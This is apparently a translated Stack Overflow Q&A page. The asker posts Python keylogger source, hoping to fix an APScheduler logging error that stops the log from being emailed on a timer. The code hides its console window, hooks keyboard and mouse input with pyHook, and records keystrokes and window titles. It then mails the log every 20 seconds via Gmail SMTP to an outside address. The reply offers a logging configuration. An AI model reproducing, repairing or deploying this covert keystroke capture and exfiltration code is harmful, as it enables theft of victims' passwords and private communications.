0

我正在使用 pyHook 来挂钩我的计算机的密钥并创建这些密钥的日志。现在,我正在尝试以间隔发送此日志,但我得到的是:No handlers could be found for logger "apscheduler.scheduler"

这是我的代码,我该怎么办?

import win32api
import win32console
import win32gui
import pythoncom, pyHook
import smtplib
from apscheduler.scheduler import Scheduler

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

log = ""
logpath = "log.txt"

openfile = open(logpath,"w")
openfile.write("")

sched = Scheduler()
sched.start()

def sendEmail():
    print("ready to send email")
    fromaddr = 'XXX@gmail.com'
    toaddrs  = 'XXX@gmail.com'
    msg = open('log.txt',"r").read()

    username = 'XXX'
    password = 'XXX'
    server = smtplib.SMTP('smtp.gmail.com:587')
    server.starttls()
    server.login(username,password)
    server.sendmail(fromaddr, toaddrs, msg)
    server.quit()
    print("mail sent")

def OnKeyboardEvent(event):
    try:
        global log
        if event.Alt == 32 and event.KeyID == 160:
            log = "[LangCh]"
        elif event.KeyID>=37 and event.KeyID<=40:
            log = "["+event.Key+"]"
        elif event.Ascii == 8:
            log = "[BS]"
        elif event.Ascii == 9:
            log = "[TAB]"
        elif event.Ascii == 13:
            log = "[NL]"
        elif event.Ascii == 27:
            log = "[ESC]"
        elif event.Alt == 32 and event.KeyID == 75:
            openfile.close()
            sendEmail()
            exit()
        else:
            log = chr(event.Ascii)
        openfile.write(log)
    except:
        pass
    return True


def OnMouseEvent(event):
    global log
    if event.MessageName == "mouse left down":
        log = "<"+event.WindowName +">\n"
        openfile.write(log)
    if event.MessageName == "mouse left up" and event.WindowName == None :
        log = "-\n"
        openfile.write(log)
    return True

def email():
    openfile.close()
    sendEmail()
    openfile = open(logpath,"w")

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm2 = pyHook.HookManager()
hm2.MouseAll = OnMouseEvent
hm.HookKeyboard()
hm2.HookMouse()

sched.add_interval_job(email,seconds=20)

pythoncom.PumpMessages()
4

1 回答 1

0

通常我会添加这个:
logging.basicConfig(
filename=''.join([getcwd(), '/', 'log_file_name.log']),
level=logging.DEBUG,
format='%(levelname)s[%(asctime)s]: %(message)s'
)

您可以参考问题How to specify 'logger' for apscheduler

于 2013-11-18T06:19:49.360 回答